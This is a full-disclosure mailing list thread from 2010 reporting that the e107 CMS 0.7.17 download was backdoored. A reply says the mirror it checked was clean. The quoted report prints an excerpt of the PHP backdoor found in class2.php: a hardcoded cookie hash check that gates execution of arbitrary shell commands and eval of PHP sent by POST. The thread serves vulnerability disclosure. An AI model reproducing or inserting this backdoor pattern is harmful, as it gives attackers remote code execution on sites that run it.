full-disclosure - Re: e107 latest download link is backdoored

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Date: Mon, 25 Jan 2010 20:07:10 +0200
From: "Valery Marchuk" <vulns@...uritylab.ru>
To: "Bogdan Calin" <bogdan@...netix.com>, <full-disclosure@...ts.grok.org.uk>
Cc: bugtraq@...urityfocus.com
Subject: Re: e107 latest download link is backdoored

I`ve just checked the archive. The latest version of the file class2.php was 
changed on 2010/01/21 03:57:43 and it does not contain the malicious code. 
It has been probably replaced already, or we are using different mirrors.

Valery Marchuk
www.SecurityLab.ru

----- Original Message ----- 
From: "Bogdan Calin" <bogdan@...netix.com>
To: <full-disclosure@...ts.grok.org.uk>
Cc: <bugtraq@...urityfocus.com>
Sent: Monday, January 25, 2010 12:58 PM
Subject: e107 latest download link is backdoored


> Hi guys,
>
> The latest version of e107, version 0.7.17 contains a PHP backdoor.
> http://e107.org/e107_files/downloads/e107_v0.7.17_full.zip
>
> I've just downloaded this file and while looking through the code, I've
> found the following piece of code:
>
> file: class2.php, line: 1876
>
> if(md5($_COOKIE['access-admin']) == "cf1afec15669cb96f09befb7d70f8bcb") {
>
> ...
>
> if(!empty($_POST['cmd'])){
> $out = execute($_POST['cmd']);
> }
>
> elseif(!empty($_POST['php'])){
> ob_start();
> eval($_POST['php']);
> $out = ob_get_contents();
> ob_end_clean();
> }
>
> ...
>
> and so on.
>
> I've informed the e107 guys about this situation.
> For now, that link is not safe.
>
> Look at the file date, class2.php has been modified on 2010-01-23, 
> 21:52:26
>
> -- 
> Bogdan Calin - bogdan@...netix.com
> CTO
> Acunetix Ltd. - http://www.acunetix.com
> Acunetix Web Security Blog - http://www.acunetix.com/blog 

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